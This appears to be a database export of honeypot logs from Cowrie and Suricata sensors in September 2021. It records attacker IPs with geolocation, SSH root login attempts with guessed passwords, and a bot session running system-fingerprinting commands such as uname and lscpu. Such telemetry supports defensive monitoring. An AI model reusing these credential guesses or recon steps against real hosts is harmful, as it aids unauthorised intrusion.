32781	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.661216+03	2021-09-20 15:00:03.915721+03	{"_id": "WwYNA3wBvYTbRNuEz0wi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:28.661216Z", "@timestamp": "2021-09-20T11:53:28.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32782	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.66175+03	2021-09-20 15:00:03.917725+03	{"_id": "XgYNA3wBvYTbRNuEz0wi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:28.661750Z", "@timestamp": "2021-09-20T11:53:28.661Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32783	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.120534+03	2021-09-20 15:00:03.918744+03	{"_id": "WQYNA3wBvYTbRNuEz0wi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "159.253.30.249", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11385822296142578, "duplicate": true, "timestamp": "2021-09-20T11:53:28.120534Z", "@timestamp": "2021-09-20T11:53:28.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32785	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:28.817893+03	2021-09-20 15:00:03.920722+03	{"_id": "XwYNA3wBvYTbRNuEz0wi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "159.253.30.249", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.15675950050354004, "duplicate": true, "timestamp": "2021-09-20T11:53:28.817893Z", "@timestamp": "2021-09-20T11:53:28.817Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32786	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:24.303186+03	2021-09-20 15:00:03.921722+03	{"_id": "GwYNA3wBvYTbRNuEv0x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:24.303186Z", "@timestamp": "2021-09-20T11:53:24.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32787	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:24.123628+03	2021-09-20 15:00:03.922722+03	{"_id": "JAYNA3wBvYTbRNuEv0yA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:24.123628Z", "@timestamp": "2021-09-20T11:53:24.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32788	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.544842+03	2021-09-20 15:00:03.923722+03	{"_id": "OAYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:25.544842Z", "@timestamp": "2021-09-20T11:53:25.544Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32789	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:25.238217+03	2021-09-20 15:00:03.924754+03	{"_id": "MQYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:25.238217Z", "@timestamp": "2021-09-20T11:53:25.238Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32790	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:53:25.843821+03	2021-09-20 15:00:03.925722+03	{"_id": "NQYNA3wBvYTbRNuEw0xn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "395d8c9aae3b", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:53:25.843821Z", "@timestamp": "2021-09-20T11:53:25.843Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32791	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:26.696022+03	2021-09-20 15:00:03.926722+03	{"_id": "QQYNA3wBvYTbRNuEx0xR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:26.696022Z", "@timestamp": "2021-09-20T11:53:26.696Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32792	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.165822+03	2021-09-20 15:00:03.928722+03	{"_id": "aAYNA3wBvYTbRNuE00wO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "159.253.30.249", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11267924308776855, "duplicate": true, "timestamp": "2021-09-20T11:53:29.165822Z", "@timestamp": "2021-09-20T11:53:29.165Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32793	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.053224+03	2021-09-20 15:00:03.929722+03	{"_id": "agYNA3wBvYTbRNuE00wR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.053224Z", "@timestamp": "2021-09-20T11:53:29.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32794	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.053762+03	2021-09-20 15:00:03.930722+03	{"_id": "awYNA3wBvYTbRNuE00wR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.053762Z", "@timestamp": "2021-09-20T11:53:29.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32795	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:53:29.061569+03	2021-09-20 15:00:03.931724+03	{"_id": "bAYNA3wBvYTbRNuE00wR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/753159] failed", "session": "395d8c9aae3b", "@version": "1", "password": "753159", "username": "root", "timestamp": "2021-09-20T11:53:29.061569Z", "@timestamp": "2021-09-20T11:53:29.061Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32796	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.309114+03	2021-09-20 15:00:03.933722+03	{"_id": "ZAYNA3wBvYTbRNuE00wO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.309114Z", "@timestamp": "2021-09-20T11:53:29.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32797	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.426396+03	2021-09-20 15:00:03.934722+03	{"_id": "ZQYNA3wBvYTbRNuE00wO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "159.253.30.249", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11790323257446289, "duplicate": true, "timestamp": "2021-09-20T11:53:29.426396Z", "@timestamp": "2021-09-20T11:53:29.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32798	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.629489+03	2021-09-20 15:00:03.935723+03	{"_id": "ZgYNA3wBvYTbRNuE00wO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.629489Z", "@timestamp": "2021-09-20T11:53:29.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32799	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:29.630031+03	2021-09-20 15:00:03.936723+03	{"_id": "ZwYNA3wBvYTbRNuE00wO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:29.630031Z", "@timestamp": "2021-09-20T11:53:29.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32800	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:30.120871+03	2021-09-20 15:00:03.937724+03	{"_id": "bQYNA3wBvYTbRNuE1kz0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "159.253.30.249", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.17942428588867188, "duplicate": true, "timestamp": "2021-09-20T11:53:30.120871Z", "@timestamp": "2021-09-20T11:53:30.120Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32801	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:53:30.349468+03	2021-09-20 15:00:03.938722+03	{"_id": "cAYNA3wBvYTbRNuE1kz0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/753753] failed", "session": "395d8c9aae3b", "@version": "1", "password": "753753", "username": "root", "timestamp": "2021-09-20T11:53:30.349468Z", "@timestamp": "2021-09-20T11:53:30.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32802	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:30.571336+03	2021-09-20 15:00:03.940724+03	{"_id": "cgYNA3wBvYTbRNuE1kz0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "276618e7e832", "@version": "1", "duration": 10.733287811279297, "timestamp": "2021-09-20T11:53:30.571336Z", "@timestamp": "2021-09-20T11:53:30.571Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32803	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:30.512446+03	2021-09-20 15:00:03.941724+03	{"_id": "bgYNA3wBvYTbRNuE1kz0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:30.512446Z", "@timestamp": "2021-09-20T11:53:30.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32804	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:30.512994+03	2021-09-20 15:00:03.942723+03	{"_id": "bwYNA3wBvYTbRNuE1kz0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:30.512994Z", "@timestamp": "2021-09-20T11:53:30.512Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32805	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:53:31.113628+03	2021-09-20 15:00:03.943722+03	{"_id": "cwYNA3wBvYTbRNuE2Exf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:27.756899+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 264, "bytes_toserver": 289}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1823331564620963, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 58853, "dest_port": 3389, "timestamp": "2021-09-20T11:53:31.113628Z", "@timestamp": "2021-09-20T11:53:31.113Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
